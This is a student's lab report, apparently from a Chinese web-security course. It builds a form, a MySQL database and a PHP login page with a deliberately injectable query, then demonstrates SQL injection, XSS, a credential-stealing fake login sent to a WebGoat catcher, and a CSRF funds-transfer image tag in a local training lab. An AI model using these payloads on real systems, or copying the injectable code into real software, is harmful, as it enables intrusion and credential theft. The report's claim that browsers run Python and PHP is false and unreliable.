首页 > 其他分享 >网络对抗实验八 Web安全

网络对抗实验八 Web安全

时间:2023-05-24 09:47:46浏览次数:54  
标签:Web document 表单 实验 对抗 SQL login password 输入

目录

一、实践内容

(一)前端HTML

1. 打开Apache

输入service apache2 start打开Apache服务;
输入netstat -aptn查看端口信息,如果80端口被Apache2监听,则启动成功。

2. 新建表单

终端输入cd /var/www/html进入Apache目录下;
输入vi 1206.html编辑一个简单的含有表单的html文件;
内容为:

<html>  
<head>  
<title>test</title>   
</head> 
<body>           
<table>  
<form method ="POST" action="#" name="frmLogin"  >  
<tr>  
<td>username: </td>  
<td><input type="text" name="username" value="Your name" size="20" maxlength="20" /></td>  
<td> </td>  
<td> </td>  
</tr>  
<tr>  
<td>password:</td>  
<td><input type="password" name="password" value="Your password" size="20" maxlength="20" /></td>  
<td> </td>  
<td> </td>  
</tr>  
<tr>  
<td><input type="checkbox" name="zlogin" value="1">auto-Login</td>  
</tr>     
<table>  
<tr>  
    <td><input type="submit" name="login" value="Login" /></td>  
    <td><input type="reset" name="rs" value="Reset" /></td>  
</tr>
</table>    
</form> 
</table>   
</body>  
</html>  

3. 查看表单

在网页中输入/var/www/html/1206.html,显示此网页表单。

(二)前端javascipt

1. 添加一段JavaScript代码

将之前代码修改为:

<html>  
<head>  
<title>test</title>   
</head> 
<body>           
<table>  
<form method ="POST" action="login.php" name="frmLogin"  >  
<tr>  
<td>user</td>  
<td><input type="text" name="username" value="Your name" size="20" onfocus="if (this.value=='Your name') this.value='';" /></td>  
<td> </td>  
<td> </td>  
</tr>  
<tr>  
<td>password</td>  
<td><input type="password" name="password" value="Your password" size="20" maxlength="20" onfocus="if (this.value=='Your password') this.value='';" /></td>  
<td> </td>  
<td> </td>  
</tr>  
<tr>  
<td><input type="checkbox" name="zlogin" value="1">auto login</td>  
</tr>     
<table>  
<tr>  
    <td><input type="submit" name="login" value="login" onClick="return validateLogin()"/></td>  
    <td><input type="reset" name="rs" value="reset" /></td>  
    </tr>
</table>    
</form> 
</table>   

<script language="javascript">  
function validateLogin(){  
    var sUserName = document.frmLogin.username.value ;  
    var sPassword = document.frmLogin.password.value ;    
    if ((sUserName =="") || (sUserName=="Your name")){  
    alert("user name");  
    return false ;  
    }  

    if ((sPassword =="") || (sPassword=="Your password")){  
    alert("password!");  
    return false ;  
    }  

}   
</script>  
</body>  
</html>  

2. 效果


3. 登录成功界面

编写登录成功后跳转的界面,主要任务是获取用户名参数并显示出来。

<html>
<head>
<title>myindex</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<script language="JavaScript" type="text/javascript">
var searchStr = location.search;
searchStr = searchStr.substr(1);
var searchs = searchStr.split("&");
var username = searchs[0].split("=");
document.write("欢迎您:"+username[1]);
</script>
<body>
<h2 align="center">myindex</h2>
</body>
</html>

4. 效果

(三)Web后端:MySQL基础

1. 启动MySQL

输入service mysql start开启MySQL服务;
输入sudo mysql -u root -p使用mysql,默认密码是password。

2. 创建用户、修改密码、建表

CREATE USER hanjin@localhost IDENTIFIED BY '20201206';//创建用户
use mysql;
set password for 
root@'localhost'=password('20201206');//修改密码
create database db20201206;//创建名为db20201206的数据库
show databases;//查看数据库

use db20201206;//使用数据库
create table login(username VARCHAR(20),password VARCHAR(20));//建立login表
insert into login values ('[email protected]', '20201206');//插入数据
select * from login;//查询表中数据
grant select,insert,update,delete on db20201206.* to hanjin@localhost identified by "20201206";//添加用户并授予权限


(四)Web后端:编写PHP网页

1. 安装php

sudo apt-get install php

2. 编写php代码

<?php
$uname=$_POST["username"];
$pwd=$_POST["password"];
echo $uname;
$query_str="SELECT * FROM zyqtable where username='$uname' and password='$pwd';";
$mysqli = new mysqli("127.0.0.1", "zyq", "1234", "zyq");
/* check connection */
if ($mysqli->connect_errno) {
printf("Connect failed: %s\n", $mysqli->connect_error);
exit();
}
echo "connection ok!";
/* Select queries return a resultset */
if ($result = $mysqli->query($query_str)) {
if ($result->num_rows > 0 ){
        echo "<br> Welcome login Mr/Mrs:{$uname} <br> ";
} 
else {
    echo "<br> login failed!!!! <br> " ; }
/* free result set */
$result->close();
}
$mysqli->close();
?>

3. 效果


(五)SQL注入,XSS攻击测试

1. SQL注入

输入' or 1=1#,密码随意

2. XSS攻击

输入<script>alert(1)</script>,密码随意

(六)选做

1. 下载webgoat

参考博客[webgoat 安装教程(windows)] (https://article.itxueyuan.com/46nQXB)

2. 登录webgoat

3. SQL注入

在菜单栏Injection Flaws下拉选项选择Numeric SQL Injection
同样打开页面源码,找到城市复选框对应源码,在Value值中添加or 1=1

点击GO!,即可收到攻击结果:

4. XSS攻击

在title中输入20201206,留言板中输入如下HTML代码

</form>
<script>
    function hack(){ 
        XSSImage=new Image;
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
        alert("surprise man Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
</script>
<form name="phish">
<br>
<br>

<HR>
    <H2>This feature requires account login:</H2>
<br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
<br>
    <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

可以看到左边有了已完成的对勾

在下方输入用户名密码处,点击确定后用户名和密码被获取:

5. CSRF攻击

查看Parameters中的src值和menu值,分别为284和900

在title中输入20191215,message框中输入如下代码
<img src="http://localhost:8080/WebGoat/attack?Screen=284&menu=900&transferFunds=20191215" width="99" height="99" />
在下方点击该消息,当前页面会下载此消息并显示,转走用户的钱;没有其他明显的显示,但左侧任务框会显示已完成。

二、报告内容

(一)基础问题回答

1. 什么是表单

表单在网页中主要负责数据采集功能。一个表单有三个基本组成部分:
表单标签:这里面包含了处理表单数据所用CGI程序的URL以及数据提交到服务器的方法。
表单域:包含了文本框、密码框、隐藏域、多行文本框、复选框、单选框、下拉选择框和文件上传框等。
表单按钮:包括提交按钮、复位按钮和一般按钮;用于将数据传送到服务器上的CGI脚本或者取消输入,还可以用表单按钮来控制其他定义了处理脚本的处理工作。

2. 浏览器可以解析运行什么语言

支持HTML(超文本标记语言)
XML(可扩展标记语言)
Python
PHP
JavaScript
ASP等

3. WebServer支持哪些动态语言

最常用的三种动态网页语言有ASP(ActiveServerPages),JSP(JavaServerPages),PHP(HypertextPreprocessor)。

4. 防范注入攻击的方法有哪些

(1)对输入数据进行严格的过滤和验证

应用程序应该对所有输入数据进行严格的过滤和验证, 确保只有合法的数据能够通过。

(2)使用参数化查询

参数化查询是一种将查询参数与查询语句分开的技术,可以有效防止SQL注入攻击。

(3)使用输入限制

应用程序应该设置输入限制,例如限制输入字符集、输入长度、输入格式等。

标签:Web,document,表单,实验,对抗,SQL,login,password,输入
From: https://www.cnblogs.com/han-jin/p/17426708.html

相关文章

  • 实验4 函数与异常处理编程
    任务1print(sum)sum=42print(sum)definc(n):sum=n+1print(sum)returnsumsum=inc(7)+inc(7)print(sum)问题答案:不是。line1为内置作用域,line3和line11为全局作用域,line7为局部作用域任务2_1deffunc1(a,b,c,d,e,f):'''返回......
  • 实验4
    实验任务1源代码:print(sum)sum=42print(sum)definc(n):sum=n+1print(sum)returnsumsum=inc(7)+inc(7)print(sum)运行结果:问题:task1.py源码中,共有4处有python语句 print(sum) (line1,line3,line7,line11)。 这4处使用的标识符sum是......
  • 实验四 函数与异常处理编辑
    实验任务一实验源码1print(sum)2sum=423print(sum)4definc(n):5sum=n+16print(sum)7returnsum8sum=inc(7)+inc(7)9print(sum)运行测试截图问题:实验任务1中,共有四处有print(sum)(line1,line3,line7,line11)。这四处使用的标识符sum......
  • web组态可视化编辑器
    随着工业智能制造的发展,工业企业对设备可视化、远程运维的需求日趋强烈,传统的单机版组态软件已经不能满足越来越复杂的控制需求,那么实现web组态可视化界面成为了主要的技术路径。  行业痛点对于软件服务商来说,将单机版软件转变为网页版软件已经到了势在必行的阶段。但是,转......
  • 实验四
    实验任务一实验源码:1print(sum)2sum=423print(sum)45definc(n):6sum=n+17print(sum)8returnsum910sum=inc(7)+inc(7)11print(sum)实验结果截图:line1:内置作用域 line3:全局作用域 line7:局部作用域 line11:全局作用域实验......
  • 实验四 函数与异常处理编程
    1.实验任务1task1.py1print(sum)2sum=423print(sum)45definc(n):6sum=n+17print(sum)8returnsum910sum=inc(7)+inc(7)11print(sum)2.实验任务2task2_1.py1deffunc1(a,b,c,d,e,f):2'''3......
  • 【web 开发】PHP8中数组的序列化和反序列化
    前言数组的序列化(serialize)用来将数组的数据转换为字符串,以方便传递和数据库的存储。与之相对应的操作就是反序列化(unserialize),把字符串数据转换为数组加以使用。数组的序列化主要通过serialize()函数来完成。字符串的反序列化主要通过unserialize()函数来完成。对象的序列化与反序......
  • webpack-了解devServer中常用的选项
    devServer节点在webpack.config.js配置文件中,可以通过devServer节点对webpack-dev-server插件进行更多的配置,示例代码如下:devServer:{ open:ture,//初次打包完成后,自动打开浏览器 host:'127.0.0.1',//实时打包所使用的主机地址 port:80,//实时打包所使用的端口号}注意:凡是......
  • Python实验课4
    实验一实验源码1print(sum)2sum=423print(sum)45definc(n):6sum=n+17print(sum)8returnsum910sum=inc(7)+inc(7)11print(sum)实验截图实验二task2.1Python实验源码1deffunc1(a,b,c,d,e,f):2return[a,......
  • 实验四
    task1line1B68ZZZ33344uilt-in line3Globalline7Localline11Enclosingtask2.1deffunc1(a,b,c,d,e,f):'''返回参数a,b,c,d,e,f构成的列表默认,参数按位置传递;也支持关键字传递'''return[a,b,c,d,e,f]deffunc2(a,b,c,*,d,......